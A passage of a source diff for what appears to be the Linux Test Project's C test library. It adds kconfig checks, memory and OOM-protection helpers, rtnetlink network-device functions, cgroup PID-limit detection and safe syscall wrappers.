+	return 0;
+}
+
 static const char *kconfig_path(char *path_buf, size_t path_buf_len)
 {
 	const char *path = getenv("KCONFIG_PATH");
@@ -32,6 +44,12 @@
 
 	uname(&un);
 
+	/* Common install module path */
+	snprintf(path_buf, path_buf_len, "/lib/modules/%s/build/.config", un.release);
+
+	if (!access(path_buf, F_OK))
+		return path_buf;
+
 	/* Debian and derivatives */
 	snprintf(path_buf, path_buf_len, "/boot/config-%s", un.release);
 
@@ -392,6 +410,7 @@
 			strncpy(vars[cnt].id, j->tok, vars[cnt].id_len);
 			vars[cnt].id[vars[cnt].id_len] = 0;
 			vars[cnt].choice = 0;
+			vars[cnt].val = NULL;
 
 			var = find_var(vars, cnt, vars[cnt].id);
 
@@ -435,6 +454,9 @@
 	if (choice != 'v')
 		return var->choice == choice;
 
+	if (var->choice != 'v')
+		return 0;
+
 	if (strlen(var->val) != len)
 		return 0;
 
@@ -468,12 +490,15 @@
 	}
 }
 
-void tst_kconfig_check(const char *const kconfigs[])
+int tst_kconfig_check(const char *const kconfigs[])
 {
 	size_t expr_cnt = array_len(kconfigs);
 	struct tst_expr *exprs[expr_cnt];
 	unsigned int i, var_cnt;
-	int abort_test = 0;
+	int ret = 0;
+
+	if (kconfig_skip_check())
+		return 0;
 
 	for (i = 0; i < expr_cnt; i++) {
 		exprs[i] = tst_bool_expr_parse(kconfigs[i]);
@@ -496,8 +521,8 @@
 		int val = tst_bool_expr_eval(exprs[i], map);
 
 		if (val != 1) {
-			abort_test = 1;
-			tst_res(TINFO, "Constrain '%s' not satisfied!", kconfigs[i]);
+			ret = 1;
+			tst_res(TINFO, "Constraint '%s' not satisfied!", kconfigs[i]);
 			dump_vars(exprs[i]);
 		}
 
@@ -509,14 +534,16 @@
 			free(vars[i].val);
 	}
 
-	if (abort_test)
-		tst_brk(TCONF, "Aborting due to unsuitable kernel config, see above!");
+	return ret;
 }
 
 char tst_kconfig_get(const char *confname)
 {
 	struct tst_kconfig_var var;
 
+	if (kconfig_skip_check())
+		return 0;
+
 	var.id_len = strlen(confname);
 
 	if (var.id_len >= sizeof(var.id))
diff --git a/lib/tst_kernel.c b/lib/tst_kernel.c
index c908bb0..ecf4b91 100644
--- a/lib/tst_kernel.c
+++ b/lib/tst_kernel.c
@@ -37,7 +37,12 @@
 int tst_kernel_bits(void)
 {
 	struct utsname buf;
-	int kernel_bits = get_kernel_bits_from_uname(&buf);
+	static int kernel_bits;
+
+	if (kernel_bits)
+		return kernel_bits;
+
+	kernel_bits = get_kernel_bits_from_uname(&buf);
 
 	if (kernel_bits == -1)
 		return -1;
@@ -111,6 +116,11 @@
 		return -1;
 	}
 
+	/* always search for x86_64 */
+	char *fix = strstr(driver, "x86-64");
+	if (fix)
+		fix[3] = '_';
+
 	SAFE_ASPRINTF(NULL, &search, "/%s.ko", driver);
 
 	f = SAFE_FOPEN(NULL, path, "r");
diff --git a/lib/tst_kvercmp.c b/lib/tst_kvercmp.c
index 8bf65d3..dc0daa7 100644
--- a/lib/tst_kvercmp.c
+++ b/lib/tst_kvercmp.c
@@ -65,7 +65,7 @@
 	/*
 	 * Check for a short version e.g '2.4'
 	 */
-	if (*str == ' ' || *str == '\0')
+	if (*str == ' ' || *str == '\0' || *str == '-')
 		return 0;
 
 	if (*(str++) != '.')
diff --git a/lib/tst_memutils.c b/lib/tst_memutils.c
index dd09db4..6fc9f6a 100644
--- a/lib/tst_memutils.c
+++ b/lib/tst_memutils.c
@@ -3,6 +3,7 @@
  * Copyright (c) 2020 SUSE LLC <mdoucha@suse.cz>
  */
 
+#include <stdio.h>
 #include <unistd.h>
 #include <limits.h>
 #include <sys/sysinfo.h>
@@ -10,31 +11,50 @@
 
 #define TST_NO_DEFAULT_MAIN
 #include "tst_test.h"
+#include "tst_capability.h"
+#include "lapi/syscalls.h"
 
 #define BLOCKSIZE (16 * 1024 * 1024)
 
 void tst_pollute_memory(size_t maxsize, int fillchar)
 {
 	size_t i, map_count = 0, safety = 0, blocksize = BLOCKSIZE;
+	unsigned long long freeram;
+	size_t min_free;
 	void **map_blocks;
 	struct sysinfo info;
 
+	SAFE_FILE_SCANF("/proc/sys/vm/min_free_kbytes", "%zi", &min_free);
+	min_free *= 1024;
+	/* Apply a margin because we cannot get below "min" watermark */
+	min_free += min_free / 10;
+
 	SAFE_SYSINFO(&info);
-	safety = MAX(4096 * SAFE_SYSCONF(_SC_PAGESIZE), 128 * 1024 * 1024);
+	safety = MAX(4096 * SAFE_SYSCONF(_SC_PAGESIZE), 128L * 1024 * 1024);
+	safety = MAX(safety, min_free);
 	safety /= info.mem_unit;
 
 	if (info.freeswap > safety)
 		safety = 0;
 
+	/*
+	 * MemFree usually is lower than MemAvailable, although when setting
+	 * sysctl vm.lowmem_reserve_ratio, this could reverse.
+	 *
+	 * Use the lower value of both for pollutable memory. Usually this
+	 * means we will not evict any caches.
+	 */
+	freeram = MIN((long long)info.freeram, (tst_available_mem() * 1024));
+
 	/* Not enough free memory to avoid invoking OOM killer */
-	if (info.freeram <= safety)
+	if (freeram <= safety)
 		return;
 
 	if (!maxsize)
 		maxsize = SIZE_MAX;
 
-	if (info.freeram - safety < maxsize / info.mem_unit)
-		maxsize = (info.freeram - safety) * info.mem_unit;
+	if (freeram - safety < maxsize / info.mem_unit)
+		maxsize = (freeram - safety) * info.mem_unit;
 
 	blocksize = MIN(maxsize, blocksize);
 	map_count = maxsize / blocksize;
@@ -61,3 +81,95 @@
 
 	free(map_blocks);
 }
+
+long long tst_available_mem(void)
+{
+	unsigned long long mem_available = 0;
+
+	if (FILE_LINES_SCANF("/proc/meminfo", "MemAvailable: %llu",
+		&mem_available)) {
+		mem_available = SAFE_READ_MEMINFO("MemFree:")
+			+ SAFE_READ_MEMINFO("Cached:");
+	}
+
+	return mem_available;
+}
+
+static int has_caps(void)
+{
+	struct tst_cap_user_header hdr = {
+		.version = 0x20080522,
+		.pid = tst_syscall(__NR_gettid),
+	};
+
+	struct tst_cap_user_data caps[2];
+
+	if (tst_capget(&hdr, caps))
+		tst_brk(TBROK | TERRNO, "tst_capget()");
+
+	if (caps[0].effective & (1U << CAP_SYS_RESOURCE))
+		return 1;
+
+	return 0;
+}
+
+static int write_score(const char *path, int score)
+{
+	FILE *f;
+
+	f = fopen(path, "w");
+	if (!f)
+		return 1;
+
+	if (fprintf(f, "%d", score) <= 0) {
+		fclose(f);
+		return 1;
+	}
+
+	if (fclose(f))
+		return 1;
+
+	return 0;
+}
+
+static void set_oom_score_adj(pid_t pid, int value)
+{
+	int val;
+	char score_path[64];
+
+	if (access("/proc/self/oom_score_adj", F_OK) == -1) {
+		tst_res(TINFO, "oom_score_adj does not exist, skipping the adjustment");
+		return;
+	}
+
+	if (pid == 0) {
+		sprintf(score_path, "/proc/self/oom_score_adj");
+	} else {
+		sprintf(score_path, "/proc/%d/oom_score_adj", pid);
+		if (access(score_path, F_OK) == -1)
+			tst_brk(TBROK, "%s does not exist, please check if PID is valid", score_path);
+	}
+
+	if (write_score(score_path, value)) {
+		if (!has_caps())
+			return;
+
+		tst_res(TWARN, "Can't adjust score, even with capabilities!?");
+		return;
+	}
+
+	FILE_SCANF(score_path, "%d", &val);
+
+	if (val != value)
+		tst_brk(TBROK, "oom_score_adj = %d, but expect %d.", val, value);
+}
+
+void tst_enable_oom_protection(pid_t pid)
+{
+	set_oom_score_adj(pid, -1000);
+}
+
+void tst_disable_oom_protection(pid_t pid)
+{
+	set_oom_score_adj(pid, 0);
+}
diff --git a/lib/tst_netdevice.c b/lib/tst_netdevice.c
index d098173..4a04429 100644
--- a/lib/tst_netdevice.c
+++ b/lib/tst_netdevice.c
@@ -4,7 +4,6 @@
  */
 
 #include <asm/types.h>
-#include <linux/netlink.h>
 #include <linux/veth.h>
 #include <sys/socket.h>
 #include <net/if.h>
@@ -149,15 +148,60 @@
 	tst_rtnl_destroy_context(file, lineno, ctx);
 
 	if (!ret) {
-		tst_brk_(file, lineno, TBROK | TTERRNO,
-			"Failed to create veth interfaces %s+%s", ifname1,
-			ifname2);
+		tst_brk_(file, lineno, TBROK,
+			"Failed to create veth interfaces %s+%s: %s", ifname1,
+			ifname2, tst_strerrno(tst_rtnl_errno));
 	}
 
 	return ret;
 }
 
-int tst_remove_netdev(const char *file, const int lineno, const char *ifname)
+int tst_netdev_add_device(const char *file, const int lineno,
+	const char *ifname, const char *devtype)
+{
+	int ret;
+	struct ifinfomsg info = { .ifi_family = AF_UNSPEC };
+	struct tst_rtnl_context *ctx;
+	struct tst_rtnl_attr_list attrs[] = {
+		{IFLA_IFNAME, ifname, strlen(ifname) + 1, NULL},
+		{IFLA_LINKINFO, NULL, 0, (const struct tst_rtnl_attr_list[]){
+			{IFLA_INFO_KIND, devtype, strlen(devtype), NULL},
+			{0, NULL, -1, NULL}
+		}},
+		{0, NULL, -1, NULL}
+	};
+
+	if (strlen(ifname) >= IFNAMSIZ) {
+		tst_brk_(file, lineno, TBROK,
+			"Network device name \"%s\" too long", ifname);
+		return 0;
+	}
+
+	ctx = create_request(file, lineno, RTM_NEWLINK,
+		NLM_F_CREATE | NLM_F_EXCL, &info, sizeof(info));
+
+	if (!ctx)
+		return 0;
+
+	if (tst_rtnl_add_attr_list(file, lineno, ctx, attrs) != 2) {
+		tst_rtnl_destroy_context(file, lineno, ctx);
+		return 0;
+	}
+
+	ret = tst_rtnl_send_validate(file, lineno, ctx);
+	tst_rtnl_destroy_context(file, lineno, ctx);
+
+	if (!ret) {
+		tst_brk_(file, lineno, TBROK,
+			"Failed to create %s device %s: %s", devtype, ifname,
+			tst_strerrno(tst_rtnl_errno));
+	}
+
+	return ret;
+}
+
+int tst_netdev_remove_device(const char *file, const int lineno,
+	const char *ifname)
 {
 	struct ifinfomsg info = { .ifi_family = AF_UNSPEC };
 	struct tst_rtnl_context *ctx;
@@ -183,8 +227,9 @@
 	tst_rtnl_destroy_context(file, lineno, ctx);
 
 	if (!ret) {
-		tst_brk_(file, lineno, TBROK | TTERRNO,
-			"Failed to remove netdevice %s", ifname);
+		tst_brk_(file, lineno, TBROK,
+			"Failed to remove netdevice %s: %s", ifname,
+			tst_strerrno(tst_rtnl_errno));
 	}
 
 	return ret;
@@ -232,8 +277,9 @@
 	tst_rtnl_destroy_context(file, lineno, ctx);
 
 	if (!ret) {
-		tst_brk_(file, lineno, TBROK | TTERRNO,
-			"Failed to modify %s network address", ifname);
+		tst_brk_(file, lineno, TBROK,
+			"Failed to modify %s network address: %s", ifname,
+			tst_strerrno(tst_rtnl_errno));
 	}
 
 	return ret;
@@ -301,8 +347,9 @@
 	tst_rtnl_destroy_context(file, lineno, ctx);
 
 	if (!ret) {
-		tst_brk_(file, lineno, TBROK | TTERRNO,
-			"Failed to move %s to another namespace", ifname);
+		tst_brk_(file, lineno, TBROK,
+			"Failed to move %s to another namespace: %s", ifname,
+			tst_strerrno(tst_rtnl_errno));
 	}
 
 	return ret;
@@ -392,8 +439,9 @@
 	tst_rtnl_destroy_context(file, lineno, ctx);
 
 	if (!ret) {
-		tst_brk_(file, lineno, TBROK | TTERRNO,
-			"Failed to modify network route");
+		tst_brk_(file, lineno, TBROK,
+			"Failed to modify network route: %s",
+			tst_strerrno(tst_rtnl_errno));
 	}
 
 	return ret;
diff --git a/lib/tst_pid.c b/lib/tst_pid.c
index 9568cc9..21cadef 100644
--- a/lib/tst_pid.c
+++ b/lib/tst_pid.c
@@ -18,14 +18,23 @@
  *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
+#include <errno.h>
 #include <fcntl.h>
 #include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
 #include <sys/types.h>
+#include <unistd.h>
 #include "test.h"
 #include "tst_pid.h"
 #include "old_safe_file_ops.h"
+#include "tst_safe_macros.h"
 
 #define PID_MAX_PATH "/proc/sys/kernel/pid_max"
+#define CGROUPS_V1_SLICE_FMT "/sys/fs/cgroup/pids/user.slice/user-%d.slice/pids.max"
+#define CGROUPS_V2_SLICE_FMT "/sys/fs/cgroup/user.slice/user-%d.slice/pids.max"
+/* Leave some available processes for the OS */
+#define PIDS_RESERVE 50
 
 pid_t tst_get_unused_pid_(void (*cleanup_fn) (void))
 {
@@ -36,29 +45,106 @@
 	return pid;
 }
 
+/*
+ * Get the effective session UID - either one invoking current test via sudo
+ * or the real UID.
+ */
+static unsigned int get_session_uid(void)
+{
+	const char *sudo_uid;
+
+	sudo_uid = getenv("SUDO_UID");
+	if (sudo_uid) {
+		unsigned int real_uid;
+		int ret;
+
+		ret = sscanf(sudo_uid, "%u", &real_uid);
+		if (ret == 1)
+			return real_uid;
+	}
+
+	return getuid();
+}
+
+static int read_session_pids_limit(const char *path_fmt, int uid,
+				   void (*cleanup_fn) (void))
+{
+	int max_pids, ret;
+	char max_pid_value[100];
+	char path[PATH_MAX];
+
+	ret = snprintf(path, sizeof(path), path_fmt, uid);
+	if (ret < 0 || (size_t)ret >= sizeof(path))
+		return -1;
+
+	if (access(path, R_OK) != 0) {
+		tst_resm(TINFO, "Cannot read session user limits from '%s'", path);
+		return -1;
+	}
+
+	SAFE_FILE_SCANF(cleanup_fn, path, "%s", max_pid_value);
+	if (!strcmp(max_pid_value, "max")) {
+		SAFE_FILE_SCANF(cleanup_fn, PID_MAX_PATH, "%d", &max_pids);
+		tst_resm(TINFO, "Found limit of processes %d (from %s=max)", max_pids, path);
+	} else {
+		max_pids = SAFE_STRTOL(max_pid_value, 0, INT_MAX);
+		tst_resm(TINFO, "Found limit of processes %d (from %s)", max_pids, path);
+	}
+
+	return max_pids;
+}
+
+static int get_session_pids_limit(void (*cleanup_fn) (void))
+{
+	int max_pids, uid;
+
+	uid = get_session_uid();
+	max_pids = read_session_pids_limit(CGROUPS_V2_SLICE_FMT, uid, cleanup_fn);
+	if (max_pids < 0)
+		max_pids = read_session_pids_limit(CGROUPS_V1_SLICE_FMT, uid,
+						   cleanup_fn);
+
+	if (max_pids < 0)
+		return -1;
+
+	return max_pids;
+}
+
 int tst_get_free_pids_(void (*cleanup_fn) (void))
 {
 	FILE *f;
-	int rc, used_pids, max_pids;
+	int rc, used_pids, max_pids, max_session_pids;
 
 	f = popen("ps -eT | wc -l", "r");
 	if (!f) {
-		tst_resm(TBROK, "Could not run 'ps' to calculate used " "pids");
+		tst_brkm(TBROK, cleanup_fn, "Could not run 'ps' to calculate used pids");
 		return -1;
 	}
 	rc = fscanf(f, "%i", &used_pids);
 	pclose(f);
 
 	if (rc != 1 || used_pids < 0) {
-		tst_resm(TBROK, "Could not read output of 'ps' to "
-			 "calculate used pids");
+		tst_brkm(TBROK, cleanup_fn, "Could not read output of 'ps' to calculate used pids");
 		return -1;
 	}
 
 	SAFE_FILE_SCANF(cleanup_fn, PID_MAX_PATH, "%d", &max_pids);
 
+	max_session_pids = get_session_pids_limit(cleanup_fn);
+	if ((max_session_pids > 0) && (max_session_pids < max_pids))
+		max_pids = max_session_pids;
+
+	if (max_pids > PIDS_RESERVE)
+		max_pids -= PIDS_RESERVE;
+	else
+		max_pids = 0;
+
 	/* max_pids contains the maximum PID + 1,
 	 * used_pids contains used PIDs + 1,
 	 * so this additional '1' is eliminated by the substraction */
+	if (used_pids >= max_pids) {
+		tst_brkm(TBROK, cleanup_fn, "No free pids");
+		return 0;
+	}
 	return max_pids - used_pids;
 }
diff --git a/lib/tst_process_state.c b/lib/tst_process_state.c
index 11790c9..08a9d09 100644
--- a/lib/tst_process_state.c
+++ b/lib/tst_process_state.c
@@ -1,24 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (C) 2012-2014 Cyril Hrubis chrubis@suse.cz
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
 #include <stdio.h>
@@ -29,8 +12,8 @@
 #include "tst_process_state.h"
 
 int tst_process_state_wait(const char *file, const int lineno,
-                            void (*cleanup_fn)(void), pid_t pid,
-			    const char state, unsigned int msec_timeout)
+			   void (*cleanup_fn)(void), pid_t pid,
+			   const char state, unsigned int msec_timeout)
 {
 	char proc_path[128], cur_state;
 	unsigned int msecs = 0;
@@ -39,7 +22,7 @@
 
 	for (;;) {
 		safe_file_scanf(file, lineno, cleanup_fn, proc_path,
-		                "%*i %*s %c", &cur_state);
+				"%*i %*s %c", &cur_state);
 
 		if (state == cur_state)
 			break;
@@ -64,16 +47,17 @@
 
 	for (;;) {
 		FILE *f = fopen(proc_path, "r");
+
 		if (!f) {
 			fprintf(stderr, "Failed to open '%s': %s\n",
-			        proc_path, strerror(errno));
+				proc_path, strerror(errno));
 			return 1;
 		}
 
 		if (fscanf(f, "%*i %*s %c", &cur_state) != 1) {
 			fclose(f);
 			fprintf(stderr, "Failed to read '%s': %s\n",
-			        proc_path, strerror(errno));
+				proc_path, strerror(errno));
 			return 1;
 		}
 		fclose(f);
@@ -84,3 +68,23 @@
 		usleep(10000);
 	}
 }
+
+int tst_process_exit_wait(pid_t pid, unsigned int msec_timeout)
+{
+	unsigned int msecs = 0;
+
+	for (;;) {
+		if (kill(pid, 0) && errno == ESRCH)
+			break;
+
+		usleep(1000);
+		msecs += 1;
+
+		if (msec_timeout && msecs >= msec_timeout) {
+			errno = ETIMEDOUT;
+			return 0;
+		}
+	}
+
+	return 1;
+}
diff --git a/lib/tst_res.c b/lib/tst_res.c
index 8d86b48..e0896eb 100644
--- a/lib/tst_res.c
+++ b/lib/tst_res.c
@@ -82,17 +82,26 @@
 	assert(strlen(buf) > 0);		\
 } while (0)
 
-#ifndef PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP
-# ifdef __ANDROID__
-#  define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \
-	PTHREAD_RECURSIVE_MUTEX_INITIALIZER
-# else
-/* MUSL: http://www.openwall.com/lists/musl/2017/02/20/5 */
-#  define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP  { {PTHREAD_MUTEX_RECURSIVE} }
-# endif
+#if !defined(PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP) && defined(__ANDROID__)
+#define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP PTHREAD_RECURSIVE_MUTEX_INITIALIZER
 #endif
 
+#ifdef PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP
 static pthread_mutex_t tmutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP;
+#else
+static pthread_mutex_t tmutex;
+
+__attribute__((constructor))
+static void init_tmutex(void)
+{
+	pthread_mutexattr_t mutattr = {0};
+
+	pthread_mutexattr_init(&mutattr);
+	pthread_mutexattr_settype(&mutattr, PTHREAD_MUTEX_RECURSIVE);
+	pthread_mutex_init(&tmutex, &mutattr);
+	pthread_mutexattr_destroy(&mutattr);
+}
+#endif
 
 static void check_env(void);
 static void tst_condense(int tnum, int ttype, const char *tmesg);
diff --git a/lib/tst_rtnetlink.c b/lib/tst_rtnetlink.c
index 1ecda3a..a2411df 100644
--- a/lib/tst_rtnetlink.c
+++ b/lib/tst_rtnetlink.c
@@ -24,6 +24,8 @@
 	struct nlmsghdr *curmsg;
 };
 
+int tst_rtnl_errno;
+
 static int tst_rtnl_grow_buffer(const char *file, const int lineno,
 	struct tst_rtnl_context *ctx, size_t size)
 {
@@ -380,7 +382,7 @@
 		}
 
 		if (res->err->error) {
-			TST_ERR = -res->err->error;
+			tst_rtnl_errno = -res->err->error;
 			return 0;
 		}
 	}
@@ -394,7 +396,7 @@
 	struct tst_rtnl_message *response;
 	int ret;
 
-	TST_ERR = 0;
+	tst_rtnl_errno = 0;
 
 	if (tst_rtnl_send(file, lineno, ctx) <= 0)
 		return 0;
diff --git a/lib/tst_safe_file_at.c b/lib/tst_safe_file_at.c
index ca8ef2f..6370a68 100644
--- a/lib/tst_safe_file_at.c
+++ b/lib/tst_safe_file_at.c
@@ -195,3 +195,23 @@
 
 	return rval;
 }
+
+int safe_fchownat(const char *const file, const int lineno,
+		  const int dirfd, const char *const path, uid_t owner, gid_t group, int flags)
+{
+	int rval;
+
+	rval = fchownat(dirfd, path, owner, group, flags);
+
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "fchownat(%d<%s>, '%s', %d, %d, %d) failed", dirfd,
+			 tst_decode_fd(dirfd), path, owner, group, flags);
+	} else if (rval) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "Invalid fchownat(%d<%s>, '%s', %d, %d, %d) return value %d",
+			 dirfd, tst_decode_fd(dirfd), path, owner, group, flags, rval);
+	}
+
+	return rval;
+}
diff --git a/lib/tst_safe_macros.c b/lib/tst_safe_macros.c
index fd5f170..c4cdc87 100644
--- a/lib/tst_safe_macros.c
+++ b/lib/tst_safe_macros.c
@@ -18,6 +18,26 @@
 #include "lapi/setns.h"
 #include "tst_safe_macros.h"
 #include "lapi/personality.h"
+#include "lapi/pidfd.h"
+
+int safe_access(const char *file, const int lineno,
+	    const char *pathname, int mode)
+{
+	int rval;
+
+	rval = access(pathname, mode);
+
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"access(%s,%d) failed", pathname, mode);
+	} else if (rval) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"Invalid access(%s,%d) return value %d", pathname,
+			mode, rval);
+	}
+
+	return rval;
+}
 
 int safe_setpgid(const char *file, const int lineno, pid_t pid, pid_t pgid)
 {
@@ -54,6 +74,42 @@
 	return pgid;
 }
 
+int safe_setgroups(const char *file, const int lineno, size_t size, const gid_t *list)
+{
+	int rval;
+
+	rval = setgroups(size, list);
+
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"setgroups(%zu, %p) failed", size, list);
+	} else if (rval) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"Invalid setgroups(%zu, %p) return value %d", size,
+			list, rval);
+	}
+
+	return rval;
+}
+
+int safe_getgroups(const char *file, const int lineno, int size, gid_t list[])
+{
+	int rval;
+
+	rval = getgroups(size, list);
+
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"getgroups(%i, %p)", size, list);
+	} else if (rval < 0) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"Invalid getgroups(%i, %p) return value %d", size,
+			list, rval);
+	}
+
+	return rval;
+}
+
 int safe_personality(const char *filename, unsigned int lineno,
 		    unsigned long persona)
 {
@@ -71,6 +127,25 @@
 	return prev_persona;
 }
 
+int safe_pidfd_open(const char *file, const int lineno, pid_t pid,
+		   unsigned int flags)
+{
+	int rval;
+
+	rval = pidfd_open(pid, flags);
+
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "pidfd_open(%i, %i) failed", pid, flags);
+	} else if (rval < 0) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "Invalid pidfd_open(%i, %i) return value %d",
+			 pid, flags, rval);
+	}
+
+	return rval;
+}
+
 int safe_setregid(const char *file, const int lineno,
 		  gid_t rgid, gid_t egid)
 {
@@ -109,6 +184,45 @@
 	return rval;
 }
 
+int safe_setresgid(const char *file, const int lineno,
+	gid_t rgid, gid_t egid, gid_t sgid)
+{
+	int ret;
+
+	ret = setresgid(rgid, egid, sgid);
+
+	if (ret == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"setregid(%li, %li, %li) failed", (long)rgid,
+			(long)egid, (long)sgid);
+	} else if (ret) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"Invalid setregid(%li, %li, %li) return value %d",
+			(long)rgid, (long)egid, (long)sgid, ret);
+	}
+
+	return ret;
+}
+
+int safe_setresuid(const char *file, const int lineno,
+	uid_t ruid, uid_t euid, uid_t suid)
+{
+	int ret;
+
+	ret = setresuid(ruid, euid, suid);
+
+	if (ret == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"setreuid(%li, %li, %li) failed", (long)ruid,
+			(long)euid, (long)suid);
+	} else if (ret) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			"Invalid setreuid(%li, %li, %li) return value %d",
+			(long)ruid, (long)euid, (long)suid, ret);
+	}
+
+	return ret;
+}
 
 int safe_sigaction(const char *file, const int lineno,
                    int signum, const struct sigaction *act,
diff --git a/lib/tst_status.c b/lib/tst_status.c
index 9124faa..5d03871 100644
--- a/lib/tst_status.c
+++ b/lib/tst_status.c
@@ -49,3 +49,23 @@
 
 	return invalid(status);
 }
+
+int tst_validate_children_(const char *file, const int lineno,
+	unsigned int count)
+{
+	unsigned int i;
+	int status;
+	pid_t pid;
+
+	for (i = 0; i < count; i++) {
+		pid = SAFE_WAITPID(-1, &status, 0);
+
+		if (!WIFEXITED(status) || WEXITSTATUS(status)) {
+			tst_res_(file, lineno, TFAIL, "Child %d: %s", pid,
+				tst_strstatus(status));
+			return 1;
+		}
+	}
+
+	return 0;
+}
diff --git a/lib/tst_supported_fs_types.c b/lib/tst_supported_fs_types.c
index 592a526..7781f94 100644
--- a/lib/tst_supported_fs_types.c
+++ b/lib/tst_supported_fs_types.c
@@ -14,6 +14,10 @@
 #include "tst_test.h"
 #include "tst_fs.h"
 
+/*
+ * NOTE: new filesystem should be also added to
+ * lib/newlib_tests/shell/tst_{all_filesystems_skip,skip_filesystems}.sh
+ */
 static const char *const fs_type_whitelist[] = {
 	"ext2",
 	"ext3",
@@ -80,7 +84,7 @@
 
 	snprintf(template, sizeof(template), "%s/mountXXXXXX", tmpdir);
 	if (!mkdtemp(template))
-		tst_brk(TBROK | TERRNO , "mkdtemp(%s) failed", template);
+		tst_brk(TBROK | TERRNO, "mkdtemp(%s) failed", template);
 
 	ret = mount("/dev/zero", template, fs_type, 0, NULL);
 	if ((ret && errno != ENODEV) || !ret) {
@@ -139,8 +143,17 @@
 	unsigned int i, j = 0;
 	int skip_fuse;
 	enum tst_fs_impl sup;
+	const char *only_fs;
 
 	skip_fuse = tst_fs_in_skiplist("fuse", skiplist);
+	only_fs = getenv("LTP_SINGLE_FS_TYPE");
+
+	if (only_fs) {
+		tst_res(TINFO, "WARNING: testing only %s", only_fs);
+		if (tst_fs_is_supported(only_fs))
+			fs_types[0] = only_fs;
+		return fs_types;
+	}
 
 	for (i = 0; fs_type_whitelist[i]; i++) {
 		if (tst_fs_in_skiplist(fs_type_whitelist[i], skiplist)) {
@@ -164,33 +177,3 @@
 
 	return fs_types;
 }
-
-int tst_check_quota_support(const char *device, int format, char *quotafile)
-{
-	TEST(quotactl(QCMD(Q_QUOTAON, USRQUOTA), device, format, quotafile));
-
-	/* Not supported */
-	if (TST_RET == -1 && TST_ERR == ESRCH)
-		return 0;
-
-	/* Broken */
-	if (TST_RET)
-		return -1;
-
-	quotactl(QCMD(Q_QUOTAOFF, USRQUOTA), device, 0, 0);
-	return 1;
-}
-
-void tst_require_quota_support_(const char *file, const int lineno,
-	const char *device, int format, char *quotafile)
-{
-	int status = tst_check_quota_support(device, format, quotafile);
-
-	if (!status) {
-		tst_brk_(file, lineno, TCONF,
-			"Kernel or device does not support FS quotas");
-	}
-
-	if (status < 0)
-		tst_brk_(file, lineno, TBROK|TTERRNO, "FS quotas are broken");
-}
diff --git a/lib/tst_sys_conf.c b/lib/tst_sys_conf.c
index 4ad9f8b..0036988 100644
--- a/lib/tst_sys_conf.c
+++ b/lib/tst_sys_conf.c
@@ -12,6 +12,12 @@
 #include "tst_test.h"
 #include "tst_sys_conf.h"
 
+struct tst_sys_conf {
+	char path[PATH_MAX];
+	char value[PATH_MAX];
+	struct tst_sys_conf *next;
+};
+
 static struct tst_sys_conf *save_restore_data;
 
 void tst_sys_conf_dump(void)
@@ -90,6 +96,16 @@
 	return tst_sys_conf_save_str(path, line);
 }
 
+void tst_sys_conf_set(const char *path, const char *value)
+{
+	char flag = path[0];
+	if (flag  == '?' || flag == '!')
+		path++;
+
+	if (value)
+		SAFE_FILE_PRINTF(path, "%s", value);
+}
+
 void tst_sys_conf_restore(int verbose)
 {
 	struct tst_sys_conf *i;
diff --git a/lib/tst_taint.c b/lib/tst_taint.c
index 49146aa..58b96f6 100644
--- a/lib/tst_taint.c
+++ b/lib/tst_taint.c
@@ -1,3 +1,9 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.com>
+ * Copyright (c) Linux Test Project, 2020
+ */
+
 #define TST_NO_DEFAULT_MAIN
 
 #include "tst_test.h"
@@ -8,6 +14,27 @@
 
 static unsigned int taint_mask = -1;
 
+static const char *const taint_strings[] = {
+	"G (Propriety module loaded)",
+	"F (Module force loaded)",
+	"S (Running on out of spec system)",
+	"R (Module force unloaded)",
+	"M (Machine check exception)",
+	"B (Bad page reference)",
+	"U (User request)",
+	"D (OOPS/BUG)",
+	"A (ACPI table overridden)",
+	"W (Warning)",
+	"C (Staging driver loaded)",
+	"I (Workaround BIOS/FW bug)",
+	"O (Out of tree module loaded)",
+	"E (Unsigned module loaded)",
+	"L (Soft lock up occured)",
+	"K (Live patched)",
+	"X (Auxilary)",
+	"T (Built with struct randomization)",
+};
+
